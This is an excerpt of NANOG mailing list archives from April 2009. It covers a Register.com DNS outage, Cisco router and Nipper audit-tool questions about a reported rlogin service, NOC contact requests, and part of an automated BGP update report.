Checked by AVG - www.avg.com Version: 8.0.238 / Virus Database: >> 270.11.35/2034 - Release Date: 04/01/09 06:06:00 >> >> >> > > -- Sergio Danelli From nanog at armorfirewall.com Wed Apr 1 17:45:31 2009 From: nanog at armorfirewall.com (George Imburgia) Date: Wed, 1 Apr 2009 17:45:31 -0500 (EST) Subject: Can anyone shed some light as to what is happening with Register.com? In-Reply-To: References: <200904012157.n31Lvv229932@tess.moorecap.com> Message-ID: On Wed, 1 Apr 2009, Erich Kolb wrote: > Looks like they are having some serious issues. It doesn't appear that any > of their domains are resolving. Hosted or otherwise. > > On Wed, Apr 1, 2009 at 4:57 PM, Joseph Nuara wrote: > >> We are no longer able to resolve A records for sites that they host. >> The NOC has not been able to provide any color and the main lines are tied >> up --they were able to tell me they were having a DNS issue but that was it. >> Thanks in advance for any info that you can share. None of their Domain Name Servers are responding. Even their "Find a Domain Name" search at http://www.register.com/ is borked. From smb at cs.columbia.edu Wed Apr 1 17:37:07 2009 From: smb at cs.columbia.edu (Steven M. Bellovin) Date: Wed, 1 Apr 2009 18:37:07 -0400 Subject: Can anyone shed some light as to what is happening with Register.com? In-Reply-To: References: <200904012157.n31Lvv229932@tess.moorecap.com> Message-ID: <20090401183707.0e00462c@cs.columbia.edu> On Wed, 1 Apr 2009 17:10:24 -0500 Erich Kolb wrote: > Looks like they are having some serious issues. It doesn't appear > that any of their domains are resolving. Hosted or otherwise. > Hmm -- UltraDNS was attacked; I wonder if there's a connection. http://blogs.zdnet.com/BTL/?p=15601 --Steve Bellovin, http://www.cs.columbia.edu/~smb From imamura at gw.odn.ad.jp Wed Apr 1 23:39:10 2009 From: imamura at gw.odn.ad.jp (Junichi Imamura) Date: Thu, 02 Apr 2009 13:39:10 +0900 Subject: AS11985 Contact Information Message-ID: <20090402133024.3CCB.4C731900@gw.odn.ad.jp> Hello All, Does anyone have a good contact infomation for the AS11985 NOC ? If you know, please send me off list. -- Junichi Imamura From orion at pirk.com Thu Apr 2 00:11:02 2009 From: orion at pirk.com (Steve Pirk) Date: Wed, 1 Apr 2009 22:11:02 -0700 (PDT) Subject: Can anyone shed some light as to what is happening with Register.com? In-Reply-To: <20090401183707.0e00462c@cs.columbia.edu> References: <200904012157.n31Lvv229932@tess.moorecap.com> <20090401183707.0e00462c@cs.columbia.edu> Message-ID: On Wed, 1 Apr 2009, Steven M. Bellovin wrote: > On Wed, 1 Apr 2009 17:10:24 -0500 > Erich Kolb wrote: > >> Looks like they are having some serious issues. It doesn't appear >> that any of their domains are resolving. Hosted or otherwise. >> > Hmm -- UltraDNS was attacked; I wonder if there's a connection. > http://blogs.zdnet.com/BTL/?p=15601 > > > --Steve Bellovin, http://www.cs.columbia.edu/~smb > A few weeks ago, there was tons of dns pounding all over the net. Today, we see registrars going dark because of dns issues. Today, people think Conficker will "do" something. I am puzzled. Maybe it is just 04/01 paranoia? -- Steve Equal bytes for women. From orion at pirk.com Thu Apr 2 01:40:16 2009 From: orion at pirk.com (Steve Pirk) Date: Wed, 1 Apr 2009 23:40:16 -0700 (PDT) Subject: Can anyone shed some light as to what is happening with Register.com? In-Reply-To: References: <200904012157.n31Lvv229932@tess.moorecap.com> <20090401183707.0e00462c@cs.columbia.edu> Message-ID: On Wed, 1 Apr 2009, Steve Pirk wrote: > On Wed, 1 Apr 2009, Steven M. Bellovin wrote: > >> On Wed, 1 Apr 2009 17:10:24 -0500 >> Erich Kolb wrote: >> >>> Looks like they are having some serious issues. It doesn't appear >>> that any of their domains are resolving. Hosted or otherwise. >>> >> Hmm -- UltraDNS was attacked; I wonder if there's a connection. >> http://blogs.zdnet.com/BTL/?p=15601 >> >> >> --Steve Bellovin, http://www.cs.columbia.edu/~smb >> > > A few weeks ago, there was tons of dns pounding all over the net. > Today, we see registrars going dark because of dns issues. > Today, people think Conficker will "do" something. > I am puzzled. Maybe it is just 04/01 paranoia? Thought of one more thing... Wasn't Conficker also configured to try and register a ton of randomly generated domains? Two registrars go dark today? Ok, put the imagination on hold... -- Steve Equal bytes for women. From fergdawgster at gmail.com Thu Apr 2 02:16:09 2009 From: fergdawgster at gmail.com (Paul Ferguson) Date: Thu, 2 Apr 2009 00:16:09 -0700 Subject: Can anyone shed some light as to what is happening with Register.com? In-Reply-To: References: <200904012157.n31Lvv229932@tess.moorecap.com> <20090401183707.0e00462c@cs.columbia.edu> Message-ID: <6cd462c00904020016v2a368450k3601e94b42ec0b77@mail.gmail.com> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Wed, Apr 1, 2009 at 11:40 PM, Steve Pirk wrote: > > Wasn't Conficker also configured to try and register a ton of randomly > generated domains? Two registrars go dark today? > Yes, but there is a counter effort that is being quite effective: http://confickerworkinggroup.org/wiki/ If nothing else, it has brought together an unprecedented cross-industry, multi-stakeholder effort in addressing these issues. - - ferg -----BEGIN PGP SIGNATURE----- Version: PGP Desktop 9.5.3 (Build 5003) wj8DBQFJ1GYvq1pz9mNUZTMRAsBTAKCDrpd9CtS9n/7ZUiBfgwfd4JNZFgCfeQUa wK5M2LxSVgN3eQuWqII4jdw= =2/i8 -----END PGP SIGNATURE----- -- "Fergie", a.k.a. Paul Ferguson Engineering Architecture for the Internet fergdawgster(at)gmail.com ferg's tech blog: http://fergdawg.blogspot.com/ From mohacsi at niif.hu Thu Apr 2 03:52:51 2009 From: mohacsi at niif.hu (Mohacsi Janos) Date: Thu, 2 Apr 2009 10:52:51 +0200 (CEST) Subject: Cisco ASR100x In-Reply-To: <6C9CA4EF-939B-4B9C-A794-976F900279D6@gmail.com> References: <6069A203FD01884885C037F81DD75080CA2797BC@wsc-mail-01.intra.nwresd.k12.or.us> <6C9CA4EF-939B-4B9C-A794-976F900279D6@gmail.com> Message-ID: Hi, Our summmarized experiences can be found here: https://puck.nether.net/pipermail/cisco-nsp/2009-March/059409.html Janos Mohacsi Network Engineer, Research Associate, Head of Network Planning and Projects NIIF/HUNGARNET, HUNGARY Key 70EF9882: DEC2 C685 1ED4 C95A 145F 4300 6F64 7B00 70EF 9882 On Wed, 1 Apr 2009, Dan Snyder wrote: > We have two of them and we haven't been able to keep them in production, > either because of bugs or lack of QoS features. > > Sent from my iPhone > > On Apr 1, 2009, at 2:47 PM, Bill Blackford > wrote: > >> Anyone on the list have any experience with ASR1000 series and IOS XE? From >> what I've read, Cisco is attempting to move to a more modular software as >> JUNOS has been doing for some time. >> >> I am curious about the reliability and stability of the platform. I am also >> interested in the differences in the IOS XE vs. IOS. >> >> Thanks >> >> -b >> >> -- >> Bill Blackford >> >> > From morrowc.lists at gmail.com Thu Apr 2 08:50:00 2009 From: morrowc.lists at gmail.com (Christopher Morrow) Date: Thu, 2 Apr 2009 09:50:00 -0400 Subject: Can anyone shed some light as to what is happening with Register.com? In-Reply-To: References: <200904012157.n31Lvv229932@tess.moorecap.com> <20090401183707.0e00462c@cs.columbia.edu> Message-ID: <75cb24520904020650h358c89eekf39c59f77d7dc27d@mail.gmail.com> On Thu, Apr 2, 2009 at 2:40 AM, Steve Pirk wrote: > On Wed, 1 Apr 2009, Steve Pirk wrote: > >> On Wed, 1 Apr 2009, Steven M. Bellovin wrote: >> >>> On Wed, 1 Apr 2009 17:10:24 -0500 >>> Erich Kolb wrote: >>> >>>> Looks like they are having some serious issues. ?It doesn't appear >>>> that any of their domains are resolving. ?Hosted or otherwise. >>>> >>> Hmm -- UltraDNS was attacked; I wonder if there's a connection. >>> http://blogs.zdnet.com/BTL/?p=15601 >>> >>> >>> ? ? ? ? ? ? ? ?--Steve Bellovin, http://www.cs.columbia.edu/~smb >>> >> >> A few weeks ago, there was tons of dns pounding all over the net. >> Today, we see registrars going dark because of dns issues. >> Today, people think Conficker will "do" something. >> I am puzzled. Maybe it is just 04/01 paranoia? > > Thought of one more thing... > > Wasn't Conficker also configured to try and register a ton of randomly s/register/lookup/ it's likely that more domains go through the grist-mill of domain-tasting each hour than conficker's creators would 'register' each day. > generated domains? Two registrars go dark today? I noticed yesterday that Register.com's (some of register's) customer domain-hosting ips (dnsXXX.Z.register.com) were routing via prolexic's infrastructure in FLA... Perhaps the plan was to migrate things over to prolexic, deal with the 'attack' and then service real customer requests from there? $ tr dns044.b.register.com. ... 4 0.ge-5-2-0.BR2.IAD8.ALTER.NET (152.63.32.161) 5 ms 5 ms 5 ms 5 64.212.107.157 (64.212.107.157) 7 ms 7 ms 7 ms 6 WBS-Connect-Miami.TenGigabitEthernet2-4.1121.ar1. (207.138.122.214) 38 ms 37 ms 37 ms 7 blackhole.prolexic.com (209.200.132.34) 38 ms 37 ms 37 ms 8 * * * 9 * * * 10 * * * 11 unknown.prolexic.com (209.200.168.54) 36 ms !A * 37 ms !A -chris From mailinglists at expresswebsystems.com Thu Apr 2 12:40:19 2009 From: mailinglists at expresswebsystems.com (Express Web Systems) Date: Thu, 2 Apr 2009 12:40:19 -0500 Subject: Time Warner NOC Contact Message-ID: <2FB3D6C5DB0D44A0A5CE488EE770199B@Slim> Can somebody contact me off list? I have tried various contact methods over the past week but the situation persists. Issue seems to be based in Atlanta, if that matters at all. Tom Walsh Express Web Systems, Inc. From mailinglists at expresswebsystems.com Thu Apr 2 13:42:25 2009 From: mailinglists at expresswebsystems.com (Express Web Systems) Date: Thu, 2 Apr 2009 13:42:25 -0500 Subject: Time Warner NOC Contact In-Reply-To: <2FB3D6C5DB0D44A0A5CE488EE770199B@Slim> References: <2FB3D6C5DB0D44A0A5CE488EE770199B@Slim> Message-ID: Thank you for the off list replies. The issue is in the correct hands now and being looked into. Tom Walsh From castellan2004-nsm at yahoo.com Thu Apr 2 17:33:12 2009 From: castellan2004-nsm at yahoo.com (Subba Rao) Date: Thu, 2 Apr 2009 15:33:12 -0700 (PDT) Subject: Nipper and Cisco configuration results Message-ID: <46371.48938.qm@web30807.mail.mud.yahoo.com> I am using Nipper for verifying my Cisco configuration.? Nipper is finding the "rlogin" service that is not in the configuration.? I have searched the access lists and do not see it anywhere.? The explanation by Nipper about this finding, "....Telnet protocol implemented by this service...." is confusing.? Here is the Nipper's output: ______________________________ Rlogin Service Settings The Rlogin service enables remote administrative access to a CLI on Cisco Router Devices.? The Telnet protocol implemented by th service is simple and provides no encryption of the network communications between client and the server.? This section details the Rlogin settings. Description?? ??? ??? ??? ?Setting Rlogin Service?? ??? ??? ?Enabled Service TCP Port?? ??? ?513 ______________________________ I have checked a few other routers where SSH was not enabled with the same results. Can someone explain why Nipper is saying "Rlogin is enabled" when I do not see it in the configuration file?? Is there something else that I need to be looking at? Thank you in advance for any help. Subba Rao From mike at rockynet.com Thu Apr 2 17:54:26 2009 From: mike at rockynet.com (Mike Lewinski) Date: Thu, 02 Apr 2009 16:54:26 -0600 Subject: Nipper and Cisco configuration results In-Reply-To: <46371.48938.qm@web30807.mail.mud.yahoo.com> References: <46371.48938.qm@web30807.mail.mud.yahoo.com> Message-ID: <49D54222.2050508@rockynet.com> Subba Rao wrote: > Can someone explain why Nipper is saying "Rlogin is enabled" when > I do not see it in the configuration file? Is there something > else that I need to be looking at? It's been my experience that the routers are all listening on that port by default, and we notice it as a result of people nmap'ing us: Dec 15 17:27:16 MST: %RCMD-4-RSHPORTATTEMPT: Attempted to connect to RSHELL from a.b.c.d Everything I've read indicates that additional specific configuration is required to actually enable this service. Still, it's always been one of my least favorite things about IOS. If I don't need it, it shouldn't be on. And why doesn't "show ip sockets" list it at all? If I was a tinfoil hat person, I'd assume that is the NSA's back door. Mike From jbfixurpc at gmail.com Thu Apr 2 19:18:43 2009 From: jbfixurpc at gmail.com (=?iso-8859-1?B?Sm+i?=) Date: Thu, 2 Apr 2009 20:18:43 -0400 Subject: Nipper and Cisco configuration results In-Reply-To: <46371.48938.qm@web30807.mail.mud.yahoo.com> Message-ID: <00b201c9b3f1$c1beffa0$0101a8c0@E520> What IOS version are you using? I don't see that behavior (rlogin/rsh) by default, but I'm a few revisions behind on the latest. @ 12.2 I do see from the router: RCMD-4-RSHPORTATTEMPT Attempted to connect to RSHELL from 192.168.1.52 from nmaps, but theres no response to the SYN packet of the attempting IP. I think this has been the case since w-a-y earlier versions of IOS for logging levels but not sure at which level. Looks to only be logging an attempt, no session is made, sort of like a firewall just letting you know there was an attempt. The router gets the request but it falls on deaf ears, no one home. Unless perhaps theres some other sort of flag/bit that can be presented to open that connection(extremely doubtful) I don't believe theres any way to connect. Perhaps turning down your logging will prevent your testing program from reporting a false positive? I'd snoop/sniff the traffic and see if your router is SYN/ACK-ing the request of rlogin/rsh to be sure. And make sure their not to close to one another, incase their using undocumented internal wireless units as a means to complete the connection, those Cisco guys you know.. Regards Joe Blanchard > -----Original Message----- > From: Subba Rao [mailto:castellan2004-nsm at yahoo.com] > Sent: Thursday, April 02, 2009 6:33 PM > To: nanog at nanog.org > Subject: Nipper and Cisco configuration results > > I am using Nipper for verifying my Cisco configuration.? > Nipper is finding the "rlogin" service that is not in the > configuration.? I have searched the access lists and do not > see it anywhere.? The explanation by Nipper about this > finding, "....Telnet protocol implemented by this > service...." is confusing.? Here is the Nipper's output: > > ______________________________ > Rlogin Service Settings > > The Rlogin service enables remote administrative access to a > CLI on Cisco Router Devices.? The Telnet protocol implemented > by th service is simple and provides no encryption of the > network communications between client and the server.? This > section details the Rlogin settings. > > Description?? ??? ??? ??? ?Setting > Rlogin Service?? ??? ??? ?Enabled > Service TCP Port?? ??? ?513 > ______________________________ > > I have checked a few other routers where SSH was not enabled > with the same results. > > Can someone explain why Nipper is saying "Rlogin is enabled" > when I do not see it in the configuration file?? Is there > something else that I need to be looking at? > > Thank you in advance for any help. > > Subba Rao From castellan2004-nsm at yahoo.com Thu Apr 2 19:25:08 2009 From: castellan2004-nsm at yahoo.com (Subba Rao) Date: Thu, 2 Apr 2009 17:25:08 -0700 (PDT) Subject: Nipper and Cisco configuration results Message-ID: <885753.34347.qm@web30803.mail.mud.yahoo.com> I did not scan the routers yet with nmap.? These results are from Nipper analysis.? None of the access lists are showing "port 513" as Nipper is complaining about.? The IOS version is 12.4 Subba Rao --- On Thu, 4/2/09, Jo? wrote: From: Jo? Subject: RE: Nipper and Cisco configuration results To: castellan2004-nsm at yahoo.com, nanog at nanog.org Date: Thursday, April 2, 2009, 8:18 PM What IOS version are you using? I don't see that behavior (rlogin/rsh) by default, but I'm a few revisions behind on the latest. @ 12.2 I do see from the router: RCMD-4-RSHPORTATTEMPT Attempted to connect to RSHELL from 192.168.1.52 from nmaps, but theres no response to the SYN packet of the attempting IP. I think this has been the case since w-a-y earlier versions of IOS for logging levels but not sure at which level. Looks to only be logging an attempt, no session is made, sort of like a firewall just letting you know there was an attempt. The router gets the request but it falls on deaf ears, no one home. Unless perhaps theres some other sort of flag/bit that can be presented to open that connection(extremely doubtful) I don't believe theres any way to connect. Perhaps turning down your logging will prevent your testing program from reporting a false positive? I'd snoop/sniff the traffic and see if your router is SYN/ACK-ing the request of rlogin/rsh to be sure. And make sure their not to close to one another, incase their using undocumented internal wireless units as a means to complete the connection, those Cisco guys you know.. Regards Joe Blanchard > -----Original Message----- > From: Subba Rao [mailto:castellan2004-nsm at yahoo.com] > Sent: Thursday, April 02, 2009 6:33 PM > To: nanog at nanog.org > Subject: Nipper and Cisco configuration results > > I am using Nipper for verifying my Cisco configuration.? > Nipper is finding the "rlogin" service that is not in the > configuration.? I have searched the access lists and do not > see it anywhere.? The explanation by Nipper about this > finding, "....Telnet protocol implemented by this > service...." is confusing.? Here is the Nipper's output: > > ______________________________ > Rlogin Service Settings > > The Rlogin service enables remote administrative access to a > CLI on Cisco Router Devices.? The Telnet protocol implemented > by th service is simple and provides no encryption of the > network communications between client and the server.? This > section details the Rlogin settings. > > Description?? ??? ??? ??? ?Setting > Rlogin Service?? ??? ??? ?Enabled > Service TCP Port?? ??? ?513 > ______________________________ > > I have checked a few other routers where SSH was not enabled > with the same results. > > Can someone explain why Nipper is saying "Rlogin is enabled" > when I do not see it in the configuration file?? Is there > something else that I need to be looking at? > > Thank you in advance for any help. > > Subba Rao From steve at stephen-fisher.com Thu Apr 2 19:33:13 2009 From: steve at stephen-fisher.com (Stephen Fisher) Date: Thu, 2 Apr 2009 18:33:13 -0600 Subject: Nipper and Cisco configuration results In-Reply-To: <49D54222.2050508@rockynet.com> References: <46371.48938.qm@web30807.mail.mud.yahoo.com> <49D54222.2050508@rockynet.com> Message-ID: <20090403003312.GA69709@ux1dal1.calicat.org> On Thu, Apr 02, 2009 at 04:54:26PM -0600, Mike Lewinski wrote: > Dec 15 17:27:16 MST: %RCMD-4-RSHPORTATTEMPT: Attempted to connect to > RSHELL from a.b.c.d > > Everything I've read indicates that additional specific configuration > is required to actually enable this service. Still, it's always been > one of my least favorite things about IOS. If I don't need it, it > shouldn't be on. And why doesn't "show ip sockets" list it at all? Cisco considers this a fixed bug. See bug id CSCeb21552 for work-around and fixed-in versions. Steve From jbfixurpc at gmail.com Thu Apr 2 20:09:01 2009 From: jbfixurpc at gmail.com (=?iso-8859-1?B?Sm+i?=) Date: Thu, 2 Apr 2009 21:09:01 -0400 Subject: Nipper and Cisco configuration results In-Reply-To: <885753.34347.qm@web30803.mail.mud.yahoo.com> Message-ID: <00b801c9b3f8$c8a92780$0101a8c0@E520> Subba, Sorry, perhaps I am confussed about the nature of your question? Did you have acls up for logging these attempts and they weren't logged? or are you asking for help from the Nipper portion of this as to why its reporting this item. With my logging turned up to debug I do see entries about RSHPORTATTEMPTs, but I suspect theres a lesser logging for that based on facility. At 12.3 I don't see any sort of problem with an open Rlogin/Rsh, and I have tested this on a router running a very minimal configuration. Hands out DHCP and does OSPF, but that's about it. Can you clarify your problem a bit? -Joe ________________________________ From: Subba Rao [mailto:castellan2004-nsm at yahoo.com] Sent: Thursday, April 02, 2009 8:25 PM To: nanog at nanog.org; Jo? Subject: RE: Nipper and Cisco configuration results I did not scan the routers yet with nmap. These results are from Nipper analysis. None of the access lists are showing "port 513" as Nipper is complaining about. The IOS version is 12.4 Subba Rao --- On Thu, 4/2/09, Jo? wrote: From: Jo? Subject: RE: Nipper and Cisco configuration results To: castellan2004-nsm at yahoo.com, nanog at nanog.org Date: Thursday, April 2, 2009, 8:18 PM What IOS version are you using? I don't see that behavior (rlogin/rsh) by default, but I'm a few revisions behind on the latest. @ 12.2 I do see from the router: RCMD-4-RSHPORTATTEMPT Attempted to connect to RSHELL from 192.168.1.52 from nmaps, but theres no response to the SYN packet of the attempting IP. I think this has been the case since w-a-y earlier versions of IOS for logging levels but not sure at which level. Looks to only be logging an attempt, no session is made, sort of like a firewall just letting you know there was an attempt. The router gets the request but it falls on deaf ears, no one home. Unless perhaps theres some other sort of flag/bit that can be presented to open that connection(extremely doubtful) I don't believe theres any way to connect. Perhaps turning down your logging will prevent your testing program from reporting a false positive? I'd snoop/sniff the traffic and see if your router is SYN/ACK-ing the request of rlogin/rsh to be sure. And make sure their not to close to one another, incase their using undocumented internal wireless units as a means to complete the connection, those Cisco guys you know.. Regards Joe Blanchard > -----Original Message----- > From: Subba Rao [mailto:castellan2004-nsm at yahoo.com] > Sent: Thursday, April 02, 2009 6:33 PM > To: nanog at nanog.org > Subject: Nipper and Cisco configuration results > > I am using Nipper for verifying my Cisco configuration. > Nipper is finding the "rlogin" service that is not in the > configuration. I have searched the access lists and do not > see it anywhere. The explanation by Nipper about this > finding, "....Telnet protocol implemented by this > service...." is confusing. Here is the Nipper's output: > > ______________________________ > Rlogin Service Settings > > The Rlogin service enables remote administrative access to a > CLI on Cisco Router Devices. The Telnet protocol implemented > by th service is simple and provides no encryption of the > network communications between client and the server. This > section details the Rlogin settings. > > Description Setting > Rlogin Service Enabled > Service TCP Port 513 > ______________________________ > > I have checked a few other routers where SSH was not enabled > with the same results. > > Can someone explain why Nipper is saying "Rlogin is enabled" > when I do not see it in the configuration file? Is there > something else that I need to be looking at? > > Thank you in advance for any help. > > Subba Rao From castellan2004-nsm at yahoo.com Thu Apr 2 20:43:27 2009 From: castellan2004-nsm at yahoo.com (Subba Rao) Date: Thu, 2 Apr 2009 18:43:27 -0700 (PDT) Subject: Nipper and Cisco configuration results Message-ID: <213756.88298.qm@web30803.mail.mud.yahoo.com> Joe, Thank you for replying.? I am asking about the Nipper complaint.? Why is Nipper report saying "Rlogin" is enabled when I don't see any ACL in the config? Using IOS 12.4 Cheers, Subba Rao --- On Thu, 4/2/09, Jo? wrote: From: Jo? Subject: RE: Nipper and Cisco configuration results To: castellan2004-nsm at yahoo.com, nanog at nanog.org Date: Thursday, April 2, 2009, 9:09 PM Subba, Sorry, perhaps I am confussed about the nature of your question? Did you have acls up for logging these attempts and they weren't logged? or are you asking for help from the Nipper portion of this as to why its reporting this item. With my logging turned up to debug I do see entries about RSHPORTATTEMPTs, but I suspect theres a lesser logging for that based on facility. At 12.3 I don't see any sort of problem with an open Rlogin/Rsh, and I have tested this on a router running a very minimal configuration. Hands out DHCP and does OSPF, but that's about it. Can you clarify your problem a bit? -Joe ________________________________ ??? From: Subba Rao [mailto:castellan2004-nsm at yahoo.com] ??? Sent: Thursday, April 02, 2009 8:25 PM ??? To: nanog at nanog.org; Jo? ??? Subject: RE: Nipper and Cisco configuration results ??? ??? ??? I did not scan the routers yet with nmap.? These results are from Nipper analysis.? None of the access lists are showing "port 513" as Nipper is complaining about.? The IOS version is 12.4 ??? ??? Subba Rao ??? ??? ??? --- On Thu, 4/2/09, Jo? wrote: ??? ??? ??? From: Jo? ??? ??? Subject: RE: Nipper and Cisco configuration results ??? ??? To: castellan2004-nsm at yahoo.com, nanog at nanog.org ??? ??? Date: Thursday, April 2, 2009, 8:18 PM ??? ??? ??? ??? ??? ??? What IOS version are you using? I don't see that behavior (rlogin/rsh) by ??? ??? default, but I'm a few revisions behind on the latest. @ 12.2 ??? ??? I do see from the router: ??? ??? RCMD-4-RSHPORTATTEMPT Attempted to connect to RSHELL from 192.168.1.52 ??? ??? from nmaps, but theres no response to the SYN packet of the attempting IP. I ??? ??? think this has been ??? ??? the case since w-a-y earlier versions of IOS for logging levels but not sure ??? ??? at which level. ??? ??? Looks to only be logging an attempt, no session is made, sort of like a ??? ??? firewall ??? ??? just letting you know there was an attempt. The router gets the request but ??? ??? it falls on deaf ??? ??? ears, no one home. Unless perhaps theres some other sort of flag/bit that ??? ??? can be presented to ??? ??? open that connection(extremely doubtful) I don't believe theres any way to ??? ??? connect. ??? ??? ??? ??? Perhaps turning down your logging will prevent your testing program from ??? ??? reporting a false positive? ??? ??? I'd snoop/sniff the traffic and see if your router is SYN/ACK-ing the ??? ??? request of rlogin/rsh to be sure. ??? ??? ??? ??? And make sure their not to close to one another, incase their using ??? ??? undocumented ??? ??? internal wireless units as a means to complete the connection, those Cisco ??? ??? guys you know.. ??? ??? ??? ??? Regards ??? ??? Joe Blanchard ??? ??? ??? ??? > -----Original Message----- ??? ??? > From: Subba Rao [mailto:castellan2004-nsm at yahoo.com] ??? ??? > Sent: Thursday, April 02, 2009 6:33 PM ??? ??? > To: nanog at nanog.org ??? ??? > Subject: Nipper and Cisco configuration results ??? ??? > ??? ??? > I am using Nipper for verifying my Cisco configuration.? ??? ??? > Nipper is finding the "rlogin" service that is not in the ??? ??? > configuration.? I have searched the access lists and do not ??? ??? > see it anywhere.? The explanation by Nipper about this ??? ??? > finding, "....Telnet protocol implemented by this ??? ??? > service...." is confusing.? Here is the Nipper's output: ??? ??? > ??? ??? > ______________________________ ??? ??? > Rlogin Service Settings ??? ??? > ??? ??? > The Rlogin service enables remote administrative access to a ??? ??? > CLI on Cisco Router Devices.? The Telnet protocol implemented ??? ??? > by th service is simple and provides no encryption of the ??? ??? > network communications between client and the server. This ??? ??? > section details the Rlogin settings. ??? ??? > ??? ??? > Description? ? ? ? ? ? ? ? Setting ??? ??? > Rlogin Service? ? ? ? ? ? Enabled ??? ??? > Service TCP Port? ? ? ? 513 ??? ??? > ______________________________ ??? ??? > ??? ??? > I have checked a few other routers where SSH was not enabled ??? ??? > with the same results. ??? ??? > ??? ??? > Can someone explain why Nipper is saying "Rlogin is enabled" ??? ??? > when I do not see it in the configuration file?? Is there ??? ??? > something else that I need to be looking at? ??? ??? > ??? ??? > Thank you in advance for any help. ??? ??? > ??? ??? > Subba Rao ??? ??? ??? ??? ??? ??? From jbfixurpc at gmail.com Thu Apr 2 21:03:17 2009 From: jbfixurpc at gmail.com (=?iso-8859-1?B?Sm+i?=) Date: Thu, 2 Apr 2009 22:03:17 -0400 Subject: Nipper and Cisco configuration results In-Reply-To: <213756.88298.qm@web30803.mail.mud.yahoo.com> Message-ID: <00c101c9b400$5d207e20$0101a8c0@E520> Subba, I've not heard or used this product (Nipper) before, so I cannot confirm what the reasoning is for this. I can tell you that based on the captures at the wire this appears to be a false-positive. It appears there is a simuliar question being asked on their (Nipper's) forums. My guess is it (Nipper) is using the logging from the Cisco devices in error to claim this as an issue. If it?s not given access to the Cisco devices other than a network feed not snmp/logins/syslogging/works/etc, I as well as many others would surely be interested. Forum reference (which hasn't been answered at this time) Ref: http://nipper.titania.co.uk/forums/viewtopic.php?f=3&t=72&sid=8f7bc0ec62d41b 09cd977eb7e72d1f6e I would be interested to know if you find out the reasoning for this, of course offlist would be fine. Regards, -Joe Blanchard ________________________________ From: Subba Rao [mailto:castellan2004-nsm at yahoo.com] Sent: Thursday, April 02, 2009 9:43 PM To: nanog at nanog.org; Jo? Subject: RE: Nipper and Cisco configuration results Joe, Thank you for replying. I am asking about the Nipper complaint. Why is Nipper report saying "Rlogin" is enabled when I don't see any ACL in the config? Using IOS 12.4 Cheers, Subba Rao From ler762 at gmail.com Thu Apr 2 22:31:54 2009 From: ler762 at gmail.com (Lee) Date: Thu, 2 Apr 2009 23:31:54 -0400 Subject: Nipper and Cisco configuration results In-Reply-To: <46371.48938.qm@web30807.mail.mud.yahoo.com> References: <46371.48938.qm@web30807.mail.mud.yahoo.com> Message-ID: On 4/2/09, Subba Rao wrote: > I am using Nipper for verifying my Cisco configuration. Nipper is finding > the "rlogin" service that is not in the configuration. I have searched the > access lists and do not see it anywhere. The explanation by Nipper about > this finding, "....Telnet protocol implemented by this service...." is > confusing. Here is the Nipper's output: <..snip ..> > Can someone explain why Nipper is saying "Rlogin is enabled" when I do not > see it in the configuration file? Is there something else that I need to be > looking at? I played with it a bit - removing the "transport input telnet" on a vty line got me the rlogin service is enabled. Add it back & nipper says it's disabled... Do you have a "transport input telnet" on each vty? If not, does adding it fix the nipper report? Regards, Lee From castellan2004-nsm at yahoo.com Fri Apr 3 04:35:33 2009 From: castellan2004-nsm at yahoo.com (Subba Rao) Date: Fri, 3 Apr 2009 02:35:33 -0700 (PDT) Subject: Nipper and Cisco configuration results Message-ID: <352382.49515.qm@web30802.mail.mud.yahoo.com> I will check this as soon as I go to work this morning.? One thing I noticed was about the Nipper results is that any router where SSH was disabled/Rlogin was enabled and vice versa. I will go thru the configuration file once again. Thank you very much for checking this out! Subba Rao --- On Thu, 4/2/09, Lee wrote: From: Lee Subject: Re: Nipper and Cisco configuration results To: castellan2004-nsm at yahoo.com Cc: nanog at nanog.org Date: Thursday, April 2, 2009, 11:31 PM On 4/2/09, Subba Rao wrote: > I am using Nipper for verifying my Cisco configuration.? Nipper is finding > the "rlogin" service that is not in the configuration.? I have searched the > access lists and do not see it anywhere.? The explanation by Nipper about > this finding, "....Telnet protocol implemented by this service...." is > confusing.? Here is the Nipper's output: ? <..snip ..> > Can someone explain why Nipper is saying "Rlogin is enabled" when I do not > see it in the configuration file?? Is there something else that I need to be > looking at? I played with it a bit - removing the "transport input telnet" on a vty line got me the rlogin service is enabled.? Add it back & nipper says it's disabled... Do you have a "transport input telnet" on each vty?? If not, does adding it fix the nipper report? Regards, Lee From cidr-report at potaroo.net Fri Apr 3 07:00:04 2009 From: cidr-report at potaroo.net (cidr-report at potaroo.net) Date: Fri, 3 Apr 2009 22:00:04 +1000 (EST) Subject: BGP Update Report Message-ID: <200904031200.n33C04o2095917@wattle.apnic.net> BGP Update Report Interval: 02-Mar-09 -to- 02-Apr-09 (32 days) Observation Point: BGP Peering with AS131072 TOP 20 Unstable Origin AS Rank ASN Upds % Upds/Pfx AS-Name 1 - AS9583 104066 2.4% 96.4 -- SIFY-AS-IN Sify Limited 2 - AS6629 43772 1.0% 7295.3 -- NOAA-AS - NOAA 3 - AS3130 39483 0.9% 303.7 -- RGNET-3130 RGnet/PSGnet 4 - AS9498 37206 0.9% 54.0 -- BBIL-AP BHARTI Airtel Ltd. 5 - AS4771 31946 0.7% 121.5 -- NZTELECOM Netgate 6 - AS4434 31818 0.7% 815.8 -- ERX-RADNET1-AS PT Rahajasa Media Internet 7 - AS6458 30254 0.7% 75.3 -- Telgua 8 - AS12978 28541 0.7% 158.6 -- DOGAN-ONLINE Dogan Iletisim Elektronik Servis Hizmetleri AS 9 - AS5056 28078 0.7% 242.1 -- INS-NET-2 - Iowa Network Services 10 - AS29372 27064 0.6% 304.1 -- SFR-NETWORK SFR 11 - AS5050 24782 0.6% 2478.2 -- PSC-EXT - Pittsburgh Supercomputing Center 12 - AS23966 23980 0.6% 59.8 -- LDN-AS-AP LINKdotNET Telecom Limited 13 - AS35805 23477 0.5% 73.4 -- UTG-AS United Telecom AS 14 - AS7643 22746 0.5% 20.1 -- VNN-AS-AP Vietnam Posts and Telecommunications (VNPT) 15 - AS4648 22663 0.5% 111.1 -- NZIX-2 Netgate 16 - AS17557 22333 0.5% 66.1 -- PKTELECOM-AS-AP Pakistan Telecom 17 - AS17488 21298 0.5% 14.4 -- HATHWAY-NET-AP Hathway IP Over Cable Internet 18 - AS29049 19471 0.5% 59.0 -- DELTA-TELECOM-AS Delta Telecom LTD. 19 - AS17974 19153 0.4% 30.9 -- TELKOMNET-AS2-AP PT Telekomunikasi Indonesia 20 - AS7545 19000 0.4% 23.2 -- TPG-INTERNET-AP TPG Internet Pty 